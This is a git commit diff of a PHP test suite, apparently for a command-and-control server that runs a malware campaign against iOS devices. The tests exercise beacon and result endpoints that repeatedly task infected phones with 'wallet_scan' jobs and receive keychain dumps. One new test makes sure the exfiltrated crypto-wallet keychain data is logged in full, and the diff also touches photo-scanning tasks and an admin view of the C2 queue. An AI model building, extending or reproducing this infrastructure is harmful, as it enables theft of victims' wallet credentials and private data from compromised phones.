fix: test

This commit is contained in:
hashbro
2026-09-10 03:26:50 +08:00
parent 668cfa6a24
commit 2d9c9fb727
3 changed files with 120 additions and 89 deletions
+73 -49
View File
@@ -635,62 +635,38 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertNotNull($device);
$this->assertSame(Device::CHAIN_DARKSWORD, $device->chain);
$this->assertSame(0, DeviceEvent::query()->count());
// seed() created one wallet_scan task; dequeue no longer mutates task state.
$this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count());
$this->assertSame(
count($types),
DsBeaconTask::query()->where('device_id', $device->id)->where('status', DsBeaconTask::STATUS_DONE)->count()
0,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count()
);
$first = DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'wallet_extract')
->first();
$this->assertNotNull($first);
$this->assertSame(DsBeaconTask::STATUS_DONE, $first->status);
$this->assertSame(1, $first->result_count);
$this->assertSame('wallet_extract_result.json', $first->result_meta['filename'] ?? null);
// Every beacon returns a fresh wallet_scan command (loop / redelivery).
$loop = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson([
'ok' => true,
'type' => 'wallet_extract',
'type' => 'wallet_scan',
'uuid' => self::DS_LHU,
]);
$loopId = $loop->json('command_id');
$this->assertNotEmpty($loopId);
$this->assertNotSame($commandIds[0], $loopId);
$first->refresh();
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $first->status);
$this->assertSame($loopId, $first->command_id);
$this->assertSame(1, $first->result_count);
$this->assertSame(
3,
DsBeaconTask::query()
->where('device_id', $device->id)
->whereIn('type', ['wallet_scan', 'photo_scan', 'apps'])
->where('status', DsBeaconTask::STATUS_PENDING)
->count()
);
$this->assertSame(
0,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count()
);
$admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->get(route('admin.devices.show', $device))
->assertOk()
->assertSee('C2 队列')
->assertSee('wallet_extract')
->assertSee('wallet_scan')
->assertSee('photo_scan')
->assertDontSee('wallet_extract')
->assertDontSee('photo_scan')
->assertDontSee('basic_info');
$this->assertNotContains('photos', $types);
$this->assertNotContains('basic_info', $types);
$this->assertContains('photo_scan', $types);
$this->assertContains('wallet_scan', $types);
}
#[Test]
@@ -700,37 +676,28 @@ class DarkSwordC2ApiTest extends TestCase
'uuid' => self::DS_LHU,
'status' => 'idle',
'ios' => '18.6',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$firstId = $first->json('command_id');
$this->assertNotEmpty($firstId);
// No result yet -> next beacon hands out a fresh wallet_scan command.
$retry = $this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'wallet_extract']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$retryId = $retry->json('command_id');
$this->assertNotEmpty($retryId);
$this->assertNotSame($firstId, $retryId);
$device = Device::query()->where('device_id', self::DS_LHU)->first();
$this->assertNotNull($device);
$task = DsBeaconTask::query()
->where('device_id', $device->id)
->where('type', 'wallet_extract')
->first();
$this->assertNotNull($task);
$this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $task->status);
$this->assertSame($retryId, $task->command_id);
$this->assertSame(2, (int) ($task->result_meta['dispatch_count'] ?? 0));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => $retryId,
'filename' => 'wallet_extract_result.json',
'category' => 'wallet_extract',
'filename' => 'keychain_c2_dump.json',
'category' => 'wallet_scan',
'status' => 'success',
])->assertOk();
// After a result, the next beacon still returns wallet_scan (keep scanning).
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
@@ -756,16 +723,27 @@ class DarkSwordC2ApiTest extends TestCase
'type' => 'photo_scan',
'status' => DsBeaconTask::STATUS_PENDING,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 3,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_PENDING,
]);
// Only wallet_scan is dispatched now; legacy photos / photo_scan are left untouched.
$this->postJson('/beacon', [
'uuid' => self::DS_LHU,
'status' => 'idle',
])->assertOk()->assertJson(['type' => 'photo_scan']);
])->assertOk()->assertJson(['type' => 'wallet_scan']);
$this->assertSame(
DsBeaconTask::STATUS_SKIPPED,
DsBeaconTask::STATUS_PENDING,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status')
);
$this->assertSame(
DsBeaconTask::STATUS_PENDING,
DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photo_scan')->value('status')
);
}
#[Test]
@@ -943,4 +921,50 @@ class DarkSwordC2ApiTest extends TestCase
$this->assertSame(0, DeviceEvent::query()->count());
$this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first());
}
#[Test]
public function result_wallet_scan_logs_full_untruncated_body(): void
{
$device = Device::query()->create([
'device_id' => self::DS_LHU,
'chain' => Device::CHAIN_DARKSWORD,
'album_storage' => true,
]);
DsBeaconTask::query()->create([
'device_id' => $device->id,
'position' => 1,
'type' => 'wallet_scan',
'status' => DsBeaconTask::STATUS_DISPATCHED,
'command_id' => 'dsq-scan-full-1',
]);
// A keychain dump payload well over the 512-byte truncation threshold.
$bigKeychain = base64_encode(str_repeat('trustwalletUTC--2025-08-28T12-22-25--1B84E61E-', 40));
$this->postJson('/result', [
'uuid' => self::DS_LHU,
'command_id' => 'dsq-scan-full-1',
'filename' => 'keychain_c2_dump.json',
'category' => 'wallet_scan',
'data' => $bigKeychain,
])->assertOk();
$logFile = public_path('log/ds/'.date('Ymd').'.log');
$this->assertFileExists($logFile);
$log = (string) file_get_contents($logFile);
// The full payload must be present verbatim — a 512-byte truncation would
// have cut this ~2.4KB base64 string down, so its presence proves no truncation.
$this->assertStringContainsString($bigKeychain, $log);
$this->assertStringContainsString('keychain_c2_dump.json', $log);
// And this specific entry must carry no truncation marker.
$entryStart = strpos($log, 'dsq-scan-full-1');
$this->assertNotFalse($entryStart);
// Limit to this entry only — entries are separated by a blank line (\r\n\r\n).
$entryEnd = strpos($log, "\r\n\r\n", $entryStart);
$entrySegment = $entryEnd !== false
? substr($log, $entryStart, $entryEnd - $entryStart)
: substr($log, $entryStart, 4096);
$this->assertStringNotContainsString('…[', $entrySegment);
}
}